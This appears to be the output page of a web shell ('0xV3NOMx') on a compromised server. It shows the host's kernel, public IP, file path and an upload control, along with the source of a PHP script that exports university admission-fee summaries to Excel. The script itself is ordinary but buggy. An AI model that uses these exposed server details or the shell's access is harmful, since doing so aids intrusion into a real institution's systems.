0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 52.14.26.141


Current Path : /var/www/html/phdadm/admin-src/
Upload File :
Current File : /var/www/html/phdadm/admin-src/ApplicationFeeSummaryExcel.php

<?php

$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
ini_set('max_execution_time', '300');
date_default_timezone_set('GMT+5:30');
// PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT);
if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

/** Include PHPExcel */
$pdf_writer_class = '/var/www/html/univadmin/PHPExcel/Classes/PHPExcel.php';
require_once($pdf_writer_class);


function ApplicationFeeSumExcel($aobj_context)
{    
    $fdept = $aobj_context->mobj_data["fdept"];
    $dtfrom = $aobj_context->mobj_data["dtfrom"];
    $dtto = $aobj_context->mobj_data["dtto"];
    // var_dump($fdept);
    
    


    $query = "SELECT a.fcollcode, c.fshortname, d.fdegree, d.fdescpn, COUNT(a.fappno) AS fcnt, SUM(a.fadmfee) AS fee
	FROM entseatallot a, entcoll c, entdeg d, entcolldeg x
	WHERE a.fdegree = d.fdegree AND a.fcollcode = c.fcollcode AND c.fcollcode = x.fcollcode AND d.fdegree = x.fdegree
	AND a.fpaymentstatus = 'success' AND IFNULL(a.fcancel,'') <> 'T'
	GROUP BY a.fcollcode, d.fdegree
    ORDER BY a.fcollcode, d.forder";
    // var_dump($query);


    $result = $aobj_context->mobj_db->GetAll($query);
    // var_dump($result);
    // die();
    // var_dump($result);

     $objPHPExcel = new PHPExcel(); 
    // Set the active Excel worksheet to sheet 0
    $objPHPExcel->setActiveSheetIndex(0); 
    // Initialise the Excel row number
    $rowCount = 1; 
    // Iterate through each result from the SQL query in turn
    // We fetch each database result row into $row in turn  
    $slNo=1;
    foreach ($result as $key => $value) {
        $objPHPExcel->getActiveSheet()->setCellValue('B' . $slNo, $value['degree'])->getColumnDimension('B')->setwidth(8.43);
        $slNo++;
    }
        
    
       
        // Set cell An to the "name" column from the database (assuming you have a column called name)
        //    where n is the Excel row number (ie cell A1 in the first row)
        $objPHPExcel->getActiveSheet()->SetCellValue('A'.$rowCount, $result[0]['fcollcode']); 
        // Set cell Bn to the "age" column from the database (assuming you have a column called age)
        //    where n is the Excel row number (ie cell A1 in the first row)
        $objPHPExcel->getActiveSheet()->SetCellValue('B'.$rowCount, $result[0]['fdescpn']); 
        // Increment the Excel row counter        


        header('Content-Type: application/vnd.ms-excel');
        header('Content-Disposition: attachment;filename="AppSumExcel.xlsx"');
        header('Cache-Control: max-age=0');

        $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
        ob_end_clean();
        ob_start();
        setlocale(LC_ALL, 'en_US');

        return $objWriter->save('php://output');

    
}